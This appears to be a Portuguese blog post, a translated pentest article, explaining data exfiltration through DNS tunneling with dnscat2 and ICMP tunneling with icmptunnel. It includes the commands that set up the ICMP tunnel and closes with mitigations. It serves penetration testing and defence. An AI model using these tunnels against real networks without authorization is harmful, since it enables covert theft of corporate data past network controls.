A exfiltração de dados, também chamada de extrusão de dados, é a transferência não autorizada de dados de um computador. Esses tipos de ataques contra a rede corporativa podem ser manuais e executados por alguém com USB ou podem ser automatizados e executados em uma rede. Neste artigo, vamos nos concentrar em técnicas de extração de dados baseadas em rede durante o pentest.
Tunneling
Como adversário, presumimos que não temos credenciais de domínio válidas. O que significa que não podemos usar o proxy da empresa para alcançar o lado da rede. Se não estivermos alcançando a Internet, não poderemos exfiltrar informações confidenciais. Assim, o tunelamento desempenha um papel muito importante.
Tunneling é quando, em vez de enviar um pacote diretamente através da rede, você envia dentro de outra conexão (muitas vezes criptografada) por meio de encapsulamento. Como os dados reais são transmitidos pela rede por meio de um protocolo diferente, é possível acessar a Internet.
Dependendo do tipo de protocolo usado, os nomes de encapsulamento podem mudar. Nós cobriremos os mais populares.
DNS Tunneling
Eu gostaria de mostrar coisas muito básicas, mas importantes antes de pular diretamente para o tunelamento de DNS.
Primeira coisa, devemos identificar o servidor DNS interno. É fácil. Agora é hora de realizar vários testes. Precisamos responder as seguintes perguntas:
- Somos capazes de nos comunicar com o DNS interno?
- Somos capazes de resolver o domínio interno através do DNS da empresa?
- podemos resolver o domínio externo (por exemplo, pentest.club) via DNS interno?
- Podemos nos comunicar diretamente com o DNS externo?
Execute o seguinte comando no site do cliente como abaixo:
Você verá uma mensagem "new window created" no servidor depois que a sessão for estabelecida.
Vamos ver os pacotes DNS capturados durante essa comunicação. A captura de tela a seguir mostra que 12.0.0.129 (client) envia uma solicitação de resolução do CNAME para o servidor DNS interno 12.0.0.2 (DNS interno).
O cliente DNSCAT2 envia uma solicitação de resolução de vários TXT para o servidor e, em seguida, inicia a comunicação criptografada por meio de CNAMEs. A partir desse ponto, um atacante pode fazer quase tudo através desse túnel.
ICMP Tunneling
O tunelamento ICMP funciona injetando dados arbitrários em um pacote de echo enviado para um computador remoto. O computador remoto responde da mesma maneira, injetando uma resposta em outro pacote ICMP e enviando-o de volta.
Basicamente, estamos enviando dados reais para dentro do ICMP. Nós só precisamos de uma coisa antes de fazer o tunelamento ICMP. Posso pingar um servidor externo?
Sim, nós podemos. Caso contrário, o tunelamento ICMP seria impossível de fazer. Graças a Dhaval Kapil, também temos uma ferramenta para tunelamento ICMP chamada icperunnel. A instalação disso é muito fácil:
git clone https://github.com/DhavalKapil/icmptunnel
make
./icmptunnel -s 10.0.1.1No lado do cliente, descubra o seu gateway e a interface correspondente:
route -nEdite client.sh e substitua <server> pelo endereço IP do servidor. <gateway> com endereço de gateway obtido acima e similarmente para <interface>
Execute o túnel no seu cliente:
./icmptunnel -c IPADDRESSMitigações
Não é fácil lidar com esse tipo de ataque de tunelamento, especialmente o DNS Tunneling. Mas as ações a seguir ajudarão você a detectar as ferramentas mais usadas, como dnscat2 etc.
- Não permita que ninguém da sua rede envie solicitações de DNS ao servidor externo. Todos devem usar seu próprio servidor DNS.
- Bloqueie o protocolo ICMP.
- Rastreie os números de consulta do DNS pelos usuários. Gere uma notificação se houver alguém que atinja os limites.
https://pentest.blog/data-exfiltration-tunneling-attacks-against-corporate-network/
Nenhum comentário:
Postar um comentário